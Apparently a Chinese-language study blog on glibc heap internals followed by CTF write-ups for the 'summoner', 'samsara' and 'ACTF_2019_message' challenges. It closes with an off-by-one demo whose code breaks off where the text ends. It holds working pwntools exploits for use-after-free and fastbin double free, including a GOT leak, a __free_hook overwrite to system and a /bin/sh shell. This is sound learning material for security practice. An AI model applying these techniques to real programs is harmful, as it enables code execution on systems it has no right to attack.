pwn 中堆的简单理解

从pwn-summoner理解first fit 本文主要为观看bili53448916889师傅讲解视频的学习笔记。 首先拖进ida中进行代码审计。以下是main函数的伪代码 __int64 __fastcall main(__int64 a1, char **a2, char **a3) { const char *v3; // rsi char **v5; // [rsp+0h] [rbp-240h] unsigned int level; // [rsp+1Ch] [rbp-224h] void **v7; // [rsp+20h] 阅读详情

什么是堆

Glibc 上的堆

堆是每个程序被分配到的一块内存区域,和栈主要区别是 堆内存是动态分配,程序可以从 heap 段请求一块内存或释放一块内存

同时,堆是全局的,在程序的任意位置都可以访问到堆,并不一定要调用 malloc 函数访问。这是因为C语言使用指针指向动态内存,但同时指针也带来了一定的开销。指针也很危险,而且指针真的很难啊……

堆使用两个函数来原理内存,分别是 brk(),mmap()

注意,申请内存时, Linux 内核只会先分配一段虚拟内存,真正使用时才会映射到物理内存上去

brk()

brk() 通过增加 break location 开获取内存,一开始 heap 段起始点 start_brk 和 heap 段的终点 brk 指向同一个位置。通过 brk 指针的移动来改变堆的大小

mmap()

用于创建私有的匿名映射段,主要是为了分配一块新的内存,且这块内存只有调用 mmap() 的进程可以使用,所以称之为私有的。 与之进行相反操作的时 munmap() , 删除一块内存区域上的映射

简单区分一下:brk() 申请的内存是实实在在 在heap 段, mmap() 是在 memory mapping segment 的虚拟内存

img

多线程与 Arena

通过 ptmalloc2, 程序是多线程的。在 ptmalloc2 中, 每个线程都有拥有自己的 freelist ,也就是把空闲空间窜起来的一个链表,他有一个更熟悉的名字——bin; 也拥有自己的 arena ,即一段连续的堆内存区域。特别的,主线程的 arena 叫做 main_arena,main_arena 可以访问 heap 段和 mmap 映射区域, non_main_arena ,非主线程 arena 自己能访问 mmap 映射区域

当我们在程序第一次申请内存时还没有 heap 段,通过brk() 创建 132KB 的heap 段,也就是我们的 main_arena。然后对于接下来无论大小的内存申请,都会从 main_arena 中尝试划分(分配内存时会剩下一块叫 TOP chunk的区域,灵活的为后续分配内存)。如果空间不够,可以通过brk() 扩张,当然,空间也可以缩小

那么对于非主线程arena 呢?由mmap() 创建的空间一上来就是 IMB ,这个空间太大了,所以才会被映射到进程地址空间,而且实际上也只有 132KB 是可读写的,这 132KB 就是该线程的 heap 结构

当申请空间大于 128KB 且 arena 中没有足够空间是,无论是哪个 arena 都通过 mmap() 分配

main_are 只有一个堆,可以灵活缩放;non_main_arena 只能通过 mmap() 获取一个堆,如果其中可供分配的堆内存不够了,要在 mmap() 一次,创建一个新的堆

堆有三个头部

  1. heap_info: 每个堆的头部,但 main_arena 没有

  1. malloc_state: arena 头部, main_arena 的这个部分可以说是一个全局变量而不属于堆段,或者说 main_arena 的这个部分属于 libc ,我们可以通过它泄露 libc

  2. malloc_chunk: 每个 chunk 的头部

chunk 的结构

通俗地说,有分配器分配的内存块叫作一个 chunk,包含了元数据和用户数据,完整的定义如下:

/*
  This struct declaration is misleading (but accurate and necessary).
  It declares a "view" into memory allowing access to necessary
  fields at known offsets from a given base. See explanation below.
*/
struct malloc_chunk {
​
  INTERNAL_SIZE_T      prev_size;  /* Size of previous chunk (if free).  */
  INTERNAL_SIZE_T      size;       /* Size in bytes, including overhead. */
​
  struct malloc_chunk* fd;         /* double links -- used only if free. */
  struct malloc_chunk* bk;
​
  /* Only used for large blocks: pointer to next larger size.  */
  struct malloc_chunk* fd_nextsize; /* double links -- used only if free. */
  struct malloc_chunk* bk_nextsize;
};
​

一个chunk 可以是一下几种类型:

  1. Allocated chunk 已分配的

  2. Free chunk 空闲的

  3. Top chunk

  4. Last Remainder chunk

Allocated chunk

第一个部分叫做 prev_size ,32位是4B 64位是 8B,只有前一个chunk 空闲时才表示前一个chunk 的大小,否则就是无效的,可以被前一个块征用来储存用户数据

这里的前一个chunk 是指内存中相邻的前一个

第二部分的高位储存当前 chunk 的大小,低三位分别表示:

  • P: PREV_INUSE 之前的 chunk 已经被分配,则为1

  • M: IS_MMAPED 当前 chunk 是 mmap() 得到的,则为1

  • N: NON_MAIN_AREMA 当前 chunk 在non_main_arena 里,则为1

Free chunk

e1437b1aaadc9ab5d98ab84cf2707f04

首先,prev_size 必定储存上一个块的用户数据,因为 Free chunk 的上一个块必定是 Allocated chunk ,否则会发生合并

然后, fd 指向用一个 bin 中的前一个 Free chunk , bk 指向同一个 bin 的后一个 Free chunk

Top chunk

一个arena 顶部的 chunk 叫做 Top chunk, 它不属于任何 bin。 当所有 bin 中都没有空闲的可用 chunk 时, 会切割 Top chunk 来满足 内存请求

假设top chunk 当前为N字节,用户申请了 K 字节的内存,那么 top chunk 将会被切割为

  • 一个 K 字节的chunk分配给用户(也可能不是 K 字节)

  • 一个 N-K 字节的 chunk 称为 Top chunk

后者成为新的 top chunk ,如果连 top chunk 都不够用了那么在

  • main_arena 中用 brk函数 扩张 top chunk

  • non_main_arena 用 mmap 函数分配新的堆,旧的堆会作为 Top chunk

且 top chunk 的 PREV_INUSE 总为1

Last Remainder chunk

当需要分配一个比较小的 K 字节的 chunk ,但是 small bins 中找不到满足要求的,且 last reminder chunk 的大小(N) 能满足要求,那么 last reminder trunk将被切割为

  • 一个K字节的 chunk,分配给用户

  • 一个 N-K 字节的 chunk 分成为新的 last reminder trunk。

它的存在使连续的小空间内存申请,分配到的内存都是相邻的,从而达到了更好的局限性

Bin 的结构

Bin 是实现了空闲列表的数据结构,用来储存空闲 chunk ,可分为:

  • 10 个 fast bins , 存储在fast binsY

  • 1 个unsorted bin , 存储在bin[1]

  • 62 个 small bins , 存储在 bin[2] - bin[63]

  • 63 个 large bins , 存储在 bin[64] - bin[126]

fast bins

相邻空间 chunk 不会被合并,这会导致外部碎片增多,但free效率提高

注意 fast bins 是十个 LIFO 的单链表,最后三个链表未使用

chunk 的大小, 含 chunk 头部,0x10-0x4d, 64位下 0x20-0x80 B, 相邻并存放的大小相差0x8B或0x10B

这里 p 位会一直是 1,因为一直改变一个小的 chunk 的状态会降低效率

fast bin 的最大大小会有宏定义, 在初始化时这个值会被赋值给全局变量global_max_fast

申请 fast chunk时遵循 first fit 原则(例如我刚刚释放掉一个chunk 然后又申请一个新的 chunk 此时会用旧的chunk 分配内存给新的 chunk)。释放一个 fast chunk 时首先检查它的大小以及对应 fastbin 此时的第一个 chunk old的大小是否合法,随后他会被插入到对应的 fastbin 的链表头 此时其 fd 指向 old

unsorted bin

大小超过 fast bins 阀值的 chunk 被释放时会加入到这里,使得 ptmalloc2 可以复用最近释放的 chunk 从而提升效率

unsorted bin 是一个双向循环链表

chunk 的大小大于global_max_fast

small bins

小于 0x200B 或 0x400B的 chunk 叫做 small chunk , small bins存放的就是这些small chunks。 small chunk 大小同样是从 16B 开始, 每次加8B

small bins是 62 个双向循环链表 ,并且是 FIFO。这点和 fast bins 相反,还有相反,相邻的空间 chunk 会被合并。

chunk 的大小 0x10-0x1F0B 或 0x20-0x3F0 相邻并存放大小相差 0x8B 或 0x 10B。我们可以看到,small bins 和 fast bins的最小大小会有部分大小是相同的,但其实不是真的重叠。

一般来讲,两个比较小的 chunk 会先放到 fast bins 里面,但是也有可能会先放到small bins里

释放非 fast chunk 时,按以下步骤执行:

  1. 若前一个相邻 chunk 空闲,则合并,触发对前一个相邻 chunk 的 unlink 操作

  2. 若下一个相邻 chunk 是 top chunk 则合并并结束,否则继续执行

  3. 若下一个相邻 chunk 空闲,则合并,触发对下一个相邻 chunk 的unlink 操作,否则设置下一个相邻 chunk 为 PREV_INUSE 为0

  4. 将现在的 chunk 插入 unsorted

  5. 将 size 超过了 FASTBIN_CONSOLIDATION_THRESHOLD 则尽可能的合并fastbin 的 chunk ,放入 unsorted bin。若top chunk大小超过 mp_.trim_threashord 则归还部分内存给OS

large bin

大小等于 0x200B 或 0x400B 的 chunk 叫做 large chunk, 而 large bins 可以存放这些 large chunks

large bins 是 63 个双向循环链表,插入和删除可以发生在任意位置,相邻空闲 chunk 也会被合并。chunk 大小这里比较复杂

  • 前32个 bins 从0x200B 开始每次加 0x40B

  • 接下来的16个 bins 每次加 0x200B

  • 接下来的8个 bins 每次 + 0x1000B

  • 接下来的4个 bins 每次+ 0x8000B

  • 接下来的2个 bins 每次+ 0x40000B

  • 最后一个 bin 只有一个 chunk , 大小和large bins剩余的大小相同

注意同一个 bin 中 chunks 不是相同大小的, 按大小降序排列, 和这上面几种 bins 都不一样, 而在取出 chunks 时也遵循 best fit 原则, 取出满足大小的最小chunks

image-20260502212030031

可能带来的危险

(不全,慢慢补吧)

free(*p)

如果 这个堆已经被释放,再次释放就是 double free,会造成不可预期的后果,也就是什么后果都有可能

如果 后续在调用已释放的堆,例如为其赋值,这个行为没有意义,而且会带来危险

malloc()

malloc() free 后不会清除原有堆内容,所以我们可以探寻到这些原内容

方法

( 主要参考 wiki)

fit & UAF

UAF :当一个内存块被释放之后再次被使用,也就是说 free (*p ) 后没有设置 *p = NULL,如果接下来继续使用这个指针,会带来危险

可以看一下

#include <stdio.h>
#include <string.h>
#include <stdlib.h>
​
int main()
{
    printf("this is a UAF text");
​
    char* a = malloc(0x512);
    char* b = malloc(0x256);
    char* c;
​
    printf("1st malloc(0x512): %p\n",a);
    printf("2nd malloc(0x256): %p\n",b);
​
    strcpy(a,"this is a!");
    printf("1st %p point to %s\n",a,a);
​
    printf("let us free a\n");
    free(a);
    // no NULL
    // a = NULL
​
    printf("than, set a new chunk that small than 512\n");
    c = malloc(0x256);
​
    printf("3rd mallc(0x256): %p\n",c);
    strcpy(c,"this is c!");
​
    printf("3rd %p point to %s",c,c);
    
    //可以看到 指向 c 和 a 的指针是同一个,若 a 是内容未被清除,那我们就可以通过 c 访问到原先的内容
    
}

image-20260506202536857

对所有 chunk 都适用,不止 fastbin

先申请到是结构体指针

summoner

看一下main

__int64 __fastcall main(int a1, char **a2, char **a3)
{
  FILE *v3; // rdi
  unsigned int v5; // [rsp+1Ch] [rbp-224h]
  void **v6; // [rsp+20h] [rbp-220h]
  const char *nptr; // [rsp+28h] [rbp-218h]
  const char *nptra; // [rsp+28h] [rbp-218h]
  char s[7]; // [rsp+30h] [rbp-210h] BYREF
  char v10[2]; // [rsp+37h] [rbp-209h] BYREF
  char v11[511]; // [rsp+39h] [rbp-207h] BYREF
  unsigned __int64 v12; // [rsp+238h] [rbp-8h]
​
  v12 = __readfsqword(0x28u);
  v3 = stdout;
  setbuf(stdout, 0);
  text1();
  menu(v3);
  v6 = 0;
  while ( 1 )
  {
    printf("\nEnter your command:\n> ");
    if ( !fgets(s, 512, stdin) )
      return 0;
    if ( !strncmp(s, "show", 4u) )
    {
      if ( v6 )
        printf("Current creature: %s [Level %u]\n", (const char *)*v6, *((_DWORD *)v6 + 2));
      else
        puts("You have no creature now.");
    }
    else if ( !strncmp(s, "summon", 6u) )
    {
      if ( v6 )                                 // v6 放的是名字
      {
        puts("Already have one creature. Release it first.");
      }
      else
      {
        nptr = strtok(v10, "\n");
        if ( !nptr )
          goto LABEL_11;
        v6 = (void **)malloc(0x10u);            // 申请了一个堆
        if ( !v6 )
        {
          puts("malloc() returned NULL. Out of Memory\n");
          exit(-1);
        }
        *v6 = strdup(nptr);
        printf("Current creature:\"%s\"\n", nptr);
      }
    }
    else if ( !strncmp(s, "level-up", 8u) )
    {
      if ( !v6 )
        goto LABEL_17;
      nptra = strtok(v11, "\n");
      if ( nptra )                              // nptra 是等级 <= 4
      {
        v5 = strtoul(nptra, 0, 10);
        if ( v5 <= 4 )
        {
          *((_DWORD *)v6 + 2) = v5;
          printf("Level-up to \"%u\"\n", v5);
        }
        else
        {
          puts("Can only level-up to Level 4.");
        }
      }
      else
      {
LABEL_11:
        puts("Invalid command");
      }
    }
    else if ( !strncmp(s, "strike", 6u) )
    {
      if ( v6 )
      {
        if ( *((_DWORD *)v6 + 2) == 5 )         // cat flag! 也就是说 等级为5即可
          system("cat flag");
        else
          puts("No, you cannot beat him!");
      }
      else
      {
LABEL_17:
        puts("Summon first.");
      }
    }
    else if ( !strncmp(s, "release", 7u) )      // 作用就是free刚刚申请的堆
    {
      if ( v6 )
      {
        free(*v6);                              // *p 与 p 不一样吧
        v6 = 0;                                 // 名字置为0,*v6呢
        puts("Released.");
      }
      else
      {
        puts("No creature summoned.");
      }
    }
    else
    {
      if ( !strncmp(s, "quit", 4u) )
        return 0;
      puts("Invalid option");
      menu("Invalid option");
    }
  }
}
┌──(kali㉿kali)-[~]
└─$ checksec --file=./metasequoia_2020_summoner 
RELRO           STACK CANARY      NX            PIE             RPATH      RUNPATH      Symbols         FORTIFY Fortified       Fortifiable     FILE
Full RELRO      Canary found      NX enabled    PIE enabled     No RPATH   No RUNPATH   No Symbols        No    0               2               ./metasequoia_2020_summoner
                                                                                                                                                    
┌──(kali㉿kali)-[~]
└─$ file ./metasequoia_2020_summoner 
./metasequoia_2020_summoner: ELF 64-bit LSB pie executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=00492ffa508dd0568512cc11376ca49893f6fb2b, stripped
                                                                                                                                                    
┌──(kali㉿kali)-[~]
└─$ ./metasequoia_2020_summoner 
After you climb over the snow mountain, you encounter an evil summoner!
​
He summoned "The Dark Lord" Level 5! You have to get over his dead body to fight the Demon Dragon, but you can only summon Level 4 creatures!
​
What's your plan for now???
​
Available plans:
        show - show your creature and its level
        summon [name] - summon a creature called [name]
        level-up [level] - level up your creature (below Level 5)
        strike - STRIKE the evil summoner's creature!!!
        release - release your creature
        quit - give up and die
​
Enter your command:
> summon aaaa
Current creature:"aaaa"
​
Enter your command:
> level_up 4
Invalid option
Available plans:
        show - show your creature and its level
        summon [name] - summon a creature called [name]
        level-up [level] - level up your creature (below Level 5)
        strike - STRIKE the evil summoner's creature!!!
        release - release your creature
        quit - give up and die
​
Enter your command:
> level-up 4
Level-up to "4"
​
Enter your command:
> strike 
No, you cannot beat him!
​
Enter your command:
> level-up 5
Can only level-up to Level 4.
​
Enter your command:
> 

3720 指向 3740 3740就是name

image-20260508225000715

level 设定为4 是放在 3720

image-20260508225137332

释放后可以看到4没有释放,名字被释放了,那我们能修改4吗,怎么修改4呢

image-20260508225411357

我们释放 name 后,*name 并未被释放,重新申请对后 0x40 指向新的地方

image-20260508230925296

这个时候我们 我们指定level 为5 ,依然放在 0x3740,但不会被限制,因为,新name 已经不在 0x3740

from pwn import *
​
sh = process('./metasequoia_2020_summoner')
#sh = remote('node5.buuoj.cn',26732)
​
def cmd(s):
        sh.recvuntil('> ')
        sh.sendline(s)
​
def summon(name):
        sh.sendlineafter('> ', b'summon ' + name)
        sh.recvuntil('\n')
​
def release():
        sh.sendlineafter('> ', b'release')
        sh.recvuntil('Released.\n')
​
def strike():
        sh.sendlineafter('> ', b'strike')
​
payload = b'aaaaaaaa' + p64(5)
summon(payload)
release()
summon(b'aaab')
strike()
​
sh.interactive()

double free

主要针对 fastbin

简单讲 ,就是free 过一次后再次free。free 后chunck 不是会在freelist 里面吗,再次free 它依旧在freelist ,就可以修改freelist 里的chunck,空闲的chunk 有fd bk 指针,如果我们修改fd bk 就可以做到欺骗指针

还可以进行任意地址写

与UAF最大的区别应该是,UAF多为一个堆,doublefree 允许我们申请多个堆

#include <stdio.h>
#include <string.h>
#include <stdlib.h>
​
int main() {
​
    printf("let's set three fastbin!\n");
​
    char* a = malloc(0x8);
    char* b = malloc(0x8);
    char* c = malloc(0x8);
​
    printf("1st is a,point to %p\n",a);
    printf("2nd is b,point to %p\n",b);
    printf("3rd is c,point to %p\n",c);
​
    printf("fristly  free a\n");
    free(a);
    printf("a is point to %p\n",a);
    printf("again!\n");
    //free(a);
​
    printf("ok,it will contribute to a fault!\n");
    printf("but we free(b), than free(a) again is ok\n");
    printf("b is point to %p",b);
    free(b);
    free(a);
    printf("now double free a is ok\n");
​
    printf("a is point to %p\n",a);
    printf("b is point to %p\n",b);
    printf("c is point to %p\n",c);
    
    printf("why!\n");
    printf("free是会被放入fastlist的头, 先free(b)后,头就不再是a,所以可以再次free\n");
    
}

看一个例子

#include <stdio.h>
#include <stdlib.h>
​
int main()
{
    fprintf(stderr, "This file extends on fastbin_dup.c by tricking malloc into
"
           "returning a pointer to a controlled location (in this case, the stack).
");
​
    unsigned long long stack_var;
​
    fprintf(stderr, "The address we want malloc() to return is %p.
", 8+(char *)&stack_var);
​
    fprintf(stderr, "Allocating 3 buffers.
");
    int *a = malloc(8);
    int *b = malloc(8);
    int *c = malloc(8);
​
    fprintf(stderr, "1st malloc(8): %p
", a);
    fprintf(stderr, "2nd malloc(8): %p
", b);
    fprintf(stderr, "3rd malloc(8): %p
", c);
​
    fprintf(stderr, "Freeing the first one...
");
    free(a);
​
    fprintf(stderr, "If we free %p again, things will crash because %p is at the top of the free list.
", a, a);
    // free(a);
​
    fprintf(stderr, "So, instead, we'll free %p.
", b);
    free(b);
​
    fprintf(stderr, "Now, we can free %p again, since it's not the head of the free list.
", a);
    free(a);
​
    fprintf(stderr, "Now the free list has [ %p, %p, %p ]. "
        "We'll now carry out our attack by modifying data at %p.
", a, b, a, a);
    unsigned long long *d = malloc(8);
​
    fprintf(stderr, "1st malloc(8): %p
", d);
    fprintf(stderr, "2nd malloc(8): %p
", malloc(8));
    fprintf(stderr, "Now the free list has [ %p ].
", a);
    fprintf(stderr, "Now, we have access to %p while it remains at the head of the free list.
"
        "so now we are writing a fake free size (in this case, 0x20) to the stack,
"
        "so that malloc will think there is a free chunk there and agree to
"
        "return a pointer to it.
", a);
    stack_var = 0x20; //结合上段的描述,0x20伪造size,是我们伪造的chunk被识别为合法的chunk,这里的大小和fastbins有关
​
    fprintf(stderr, "Now, we overwrite the first 8 bytes of the data at %p to point right before the 0x20.
", a);
    *d = (unsigned long long) (((char*)&stack_var) - sizeof(d));
​
    fprintf(stderr, "3rd malloc(8): %p, putting the stack address on the free list
", malloc(8));
    fprintf(stderr, "4th malloc(8): %p
", malloc(8));
}

补充一下:malloc 8 字节 -> malloc 实际分配的是 0x20 大小的 fastbin chunk(8+metadata对齐到16)

在glibc 2.23 中,0x20 fastbin 存储在 fastbins[0]

double free 后,fastbin 的链表变为我们眼熟的:

fd: chunk0 -> chunk1 -> chunk0

高版本的glibc 会有tcache 检查,要么切换到可利用的版本,要么先填满tcache

samsara
┌──(kali㉿kali)-[~]
└─$ checksec --file=./metasequoia_2020_samsara 
RELRO           STACK CANARY      NX            PIE             RPATH      RUNPATH      Symbols         FORTIFY Fortified       Fortifiable     FILE
Full RELRO      Canary found      NX enabled    PIE enabled     No RPATH   No RUNPATH   No Symbols        No    0               1               ./metasequoia_2020_samsara
                                                                                                                                                    
┌──(kali㉿kali)-[~]
└─$ file ./metasequoia_2020_samsara 
./metasequoia_2020_samsara: ELF 64-bit LSB pie executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=afb7f37a63acfb12ad3f4cb87b0b971e1b97f0dd, stripped
                                                                                                                                                    
┌──(kali㉿kali)-[~]
└─$ ./metasequoia_2020_samsara 
After defeating the Demon Dragon, you turned yourself into the Demon Dragon...
1. Capture a human
2. Eat a human
3. Cook a human
4. Find your lair
5. Move to another kingdom
6. Commit suicide
choice > 1
Captured.
1. Capture a human
2. Eat a human
3. Cook a human
4. Find your lair
5. Move to another kingdom
6. Commit suicide
choice > 6
Now, there's no Demon Dragon anymore...
void __fastcall __noreturn main(int a1, char **a2, char **a3)
{
  int v3; // ebx
  int v4; // [rsp+Ch] [rbp-44h] BYREF
  int v5; // [rsp+10h] [rbp-40h] BYREF
  __gid_t rgid; // [rsp+14h] [rbp-3Ch]
  __int64 lair; // [rsp+18h] [rbp-38h] BYREF
  __int64 target; // [rsp+20h] [rbp-30h]
  __int64 v9; // [rsp+28h] [rbp-28h] BYREF
  _QWORD v10[4]; // [rsp+30h] [rbp-20h] BYREF
​
  v10[1] = __readfsqword(0x28u);
  setvbuf(stdout, 0, 2, 0);
  rgid = getegid();
  setresgid(rgid, rgid, rgid);
  target = 0;
  puts("After defeating the Demon Dragon, you turned yourself into the Demon Dragon...");
  while ( 2 )
  {
    v10[0] = 0;
    menu();
    _isoc99_scanf("%d", &v4);
    switch ( v4 )
    {
      case 1:
        if ( cnt >= 7 )
        {
          puts("You can't capture more people.");
        }
        else
        {
          v3 = cnt;
          *((_QWORD *)&human + v3) = malloc(8u);// 申请堆
          ++cnt;
          puts("Captured.");
        }
        continue;
      case 2:
        puts("Index:");
        _isoc99_scanf("%d", &v5);
        free(*((void **)&human + v5));          // free 抓人选项中创建的堆,但没有对其做检查,也么有置为NULL
                                                // 也可多次free
        puts("Eaten.");
        continue;
      case 3:
        puts("Index:");
        _isoc99_scanf("%d", &v5);
        puts("Ingredient:");
        _isoc99_scanf("%llu", v10);
        **((_QWORD **)&human + v5) = v10[0];
        puts("Cooked.");
        continue;
      case 4:
        printf("Your lair is at: %p\n", &lair);
        continue;
      case 5:
        puts("Which kingdom?");
        _isoc99_scanf("%llu", &v9);
        lair = v9;
        puts("Moved.");
        continue;
      case 6:
        if ( target == 3735928559LL )           // liar - 8 = target
          system("/bin/cat /pwn/flag");
        puts("Now, there's no Demon Dragon anymore...");
        goto LABEL_13;
      default:
LABEL_13:
        exit(1);
    }
  }
}

capture 就是申请堆,eat 就是释放堆,cook可以用于构造,lair和target地址只差8字节,move可以用于伪造

第一次

image-20260516152035372

第二次

image-20260516152115007

第三次

image-20260516152158883

经过move和伪造

image-20260516152607022

还差最后一步

image-20260516152848131

最后一步完

image-20260516152931764

move(0x20)的作用是伪造size

from pwn import *
​
#GLIBC_DIR = '/home/kali/glibc-all-in-one/libs/2.23-0ubuntu11.3_amd64'
context.log_level = 'debug'
context.arch = 'amd64'
​
p = remote('node5.buuoj.cn',29085)
#p = process([
#    GLIBC_DIR + '/ld-2.23.so',
#    '--library-path',
#    GLIBC_DIR,
#    './samsara'
#])
​
def dbg():
    gdb.attach(p)
    pause()
​
def set1():
    p.recvuntil(b'>')
    p.sendline(b'1')
    p.recvuntil(b'Captured.')
​
def delete(index):
    p.recvuntil(b'>')
    p.sendline(b'2')
    p.recvuntil(b'Index:')
    p.sendline(str(index).encode())
    p.recvuntil(b'Eaten.')
​
def show():
    p.recvuntil(b'>')
    p.sendline(b'4')
    p.recvuntil(b'Your lair is at:')
    return int(p.recvline().strip(),16)
    
def move(d):
    p.recvuntil(b'>')
    p.sendline(b'5')
    p.recvuntil(b'Which kingdom?')
    p.sendline(str(d).encode())
    p.recvuntil(b'Moved.')
​
def edit(index,e):
    p.recvuntil(b'>')
    p.sendline(b'3')
    p.recvuntil(b'Index:')
    p.sendline(str(index).encode())
    p.recvuntil(b'Ingredient:')   
    p.sendline(str(e).encode())
    p.recvuntil(b'Cooked.')
​
set1() #0
set1() #1
set1() #0
​
delete(0)
delete(1)
delete(0)
​
#dbg()
​
set1() #3 - 1
#dbg()
set1() #4 - 0
#dbg()
​
move(0x20)  #让 lair = 0x20 = size
#dbg()
fake = show() - 8
#dbg()
edit(3,fake)    #lair - 8 = target =fake_chunk
#dbg()
​
set1() # 5 
#dbg()
set1() # fake
#dbg()
edit(6,0xdeadbeef)
#dbg()
​
p.recvuntil(b'choice >')
p.sendline(b'6')
​
p.interactive()

message
┌──(kali㉿kali)-[~/binary]
└─$ checksec --file=./ACTF_2019_message       
RELRO           STACK CANARY      NX            PIE             RPATH      RUNPATH      Symbols         FORTIFY Fortified       Fortifiable     FILE
Full RELRO      Canary found      NX enabled    No PIE          No RPATH   No RUNPATH   No Symbols        No    0               3               ./ACTF_2019_message
                                                                                                                                                               
┌──(kali㉿kali)-[~/binary]
└─$ file ACTF_2019_message 
ACTF_2019_message: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=a4c36562e8013f5ee8cebdc5cfb401ca5221971c, stripped                                                        
                                                                                         
                                                                                                             ┌──(kali㉿kali)-[~/binary]
└─$ ./ACTF_2019_message 
==============================
    MESSAGE RECORD SYSTEM     
==============================
1. Add message                
2. Delete message             
3. Edit message               
4. Display message            
5. Exit                       
==============================
What's your choice: 1
Please input the length of message:
2222
Please input the message:
dhsajkl
==============================
    MESSAGE RECORD SYSTEM     
==============================
1. Add message                
2. Delete message             
3. Edit message               
unsigned __int64 edit()
{
  unsigned int v1; // [rsp+Ch] [rbp-24h]
  char buf[24]; // [rsp+10h] [rbp-20h] BYREF
  unsigned __int64 v3; // [rsp+28h] [rbp-8h]
​
  v3 = __readfsqword(0x28u);
  if ( input <= 0 )
  {
    puts("No message can you edit");
  }
  else
  {
    puts("Please input index of message you want to edit:");
    read(0, buf, 8u);
    v1 = atoi(buf);
    if ( massage[4 * v1] && v1 <= 9 )
    {
      puts("Now you can edit the message:");
      read(0, *(void **)&massage[4 * v1 + 2], (int)massage[4 * v1]);// 伪造size
    }
    else
    {
      puts("Index is invalid!");
    }
  }
  return __readfsqword(0x28u) ^ v3;
}

没有后门,所以首先是泄露libc

这题值得学习在,他是将message视作 fake chunk,如果用常见的泄露方法会变得很复杂

大致思路就是,在这道题中,message[0]存放size,那么 message[0] - 8 处存放prev_size,那就可以将message[0]变为为fake_chunk,在这里面构造system

libc是怎么泄露的呢,用display()中puts函数即可,泄露之前还要把puts_放入chunk

from pwn import *
from LibcSearcher import LibcSearcher
​
BIN = './ACTF_2019_message'
GLIBC_DIR = '/home/kali/glibc-all-in-one/libs/2.23-0ubuntu11.3_amd64'
#context.log_level = 'debug'
#context.arch = 'amd64'
​
p = process([
    GLIBC_DIR + '/ld-2.23.so',
    '--library-path',
    GLIBC_DIR,
    BIN])
​
elf = ELF('ACTF_2019_message')
puts_got = elf.got['puts']
​
def dbg():
    gdb.attach(p)
    pause()
​
def add(index,size,content='a'):
    p.recvuntil(b'choice: ')
    p.sendline(b'1')
    p.sendlineafter(b'of message:',str(size).encode())
    #if content == NULL:
     #   p.sendlineafter(b'the message:',' ')
    #else:
    p.sendafter(b'the message:',content)
​
def delete(index):
    p.sendlineafter(b'choice: ',str(2))
    p.sendlineafter(b'delete:',str(index).encode())
​
def edit(index,content):
    p.sendlineafter(b'choice: ',str(3).encode())
    p.sendlineafter(b'edit:',str(index))
    p.sendafter(b'edit the message:',(content))
​
def display(index):
    p.sendlineafter(b'choice: ',str(4).encode())
    p.sendlineafter(b'display',str(index).encode())
​
add(0,48)
add(1,32)
add(2,32)
​
delete(1) 
delete(2)
delete(1)
​
#dbg()
​
fake = 0x602060 - 0x8
#dbg()
add(3,32,p64(fake)) #1 #直接写入的fake 会放在fd
#dbg()
add(4,32) #2
#dbg()
add(5,32) #3
#dbg()
add(6,32,p64(puts_got)) #fake
#dbg()
​
display(0)
#dbg()
p.recvuntil(b'message: ')
addr = u64(p.recv(6).ljust(8, b'\x00'))
print("addr:" + hex(addr))
​
libc = LibcSearcher('puts',addr)
libcbase = addr - libc.dump('puts')
system = libcbase + libc.dump('system')
free_hook = libcbase + libc.dump('__free_hook')
​
edit(6,p64(free_hook))
#dbg()
edit(0,p64(system))
dbg()
add(7,8,b'/bin/sh\x00')
dbg()
delete(7)
dbg()
p.interactive()

第一次 1->2<- 1

image-20260516221920430

image-20260516222439123

0x602058被放在fd

image-20260516222537580

add()add()!重新获得堆

image-20260516223050943

全部堆获取完成,包括fake_chunk

image-20260516222821688

image-20260516231624799

往fake_chunk 写__free_hook

image-20260516223433322

image-20260516223515110

edit(0,p64(system)),system写入hook

image-20260516223928560

image-20260516232846266

在加一个堆,写bin/shell

image-20260516224721387

off-by-one

本质上就是堆溢出,但是仅溢出一字节,是一种很特殊的溢出呀(针对这个定义,在很多地方都可以进行off-by-one)

感觉这些方法的命名多重在方法的特点而不是利用这个方法的目的

我们用 off-by-one 其实是想修改chunk size 绕过一些检查,在free时让没有被free的函数也达到free的效果,然后让chunk被我们利用

下面是我找到学习off_by_one的代码

#define _GNU_SOURCE
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <stdint.h>
#include <malloc.h>                                                                                                                                  
​
​
int main()                                                                                                                                               
{                                                                                                                                                                                  
       uint8_t* a;                                                                              uint8_t* b;                                                                              uint8_t* c;                                                                            uint8_t* b1;                                                                              uint8_t* b2;                                                                             uint8_t* d;                                                                                                                                      
        void *barrier;                                                                                                                                   
​
        fprintf(stderr, "We allocate 0x100 bytes for 'a'.\n");                                                                                           
        a = (uint8_t*) malloc(0x100);                                                                                                                    
        fprintf(stderr, "a: %p\n", a);                                                                                                                   
        int real_a_size = malloc_usable_size(a);       //计算a的实际大小,因为malloc会对请求的大小进行round up
        fprintf(stderr, "Since we want to overflow 'a', we need to know the 'real' size of 'a' " 
        "(it may be more than 0x100 because of rounding): %#x\n", real_a_size);                                                                 
​
        /* chunk size attribute cannot have a least significant byte with a value of 0x00.                                                               
         * the least significant byte of this will be 0x10, because the size of the chunk includes                                                       
         * the amount requested plus some amount required for the metadata. */                                                                           
        b = (uint8_t*) malloc(0x200);                                                                                                                    
​
        fprintf(stderr, "b: %p\n", b);                                                                                                                   
​
        c = (uint8_t*) malloc(0x100);                                                                                                                    
        fprintf(stderr, "c: %p\n", c);                                                                                                                   
​
        barrier =  malloc(0x100);   //barrier 是用于隔断,free c 的时候不被合并到 top chunk 里去          
                                                                      
        fprintf(stderr, "We allocate a barrier at %p, so that c is not consolidated with the top-chunk when freed.n"                                    
                "The barrier is not strictly necessary, but makes things less confusingn\n", barrier);                                                    
​
        uint64_t* b_size_ptr = (uint64_t*)(b - 8);  // b的size位于b-0x10+0x8 == b-8(输出的指针是b的main指针)                                                                                                      
​
        // added fix for size==prev_size(next_chunk) check in newer versions of glibc                                                                    
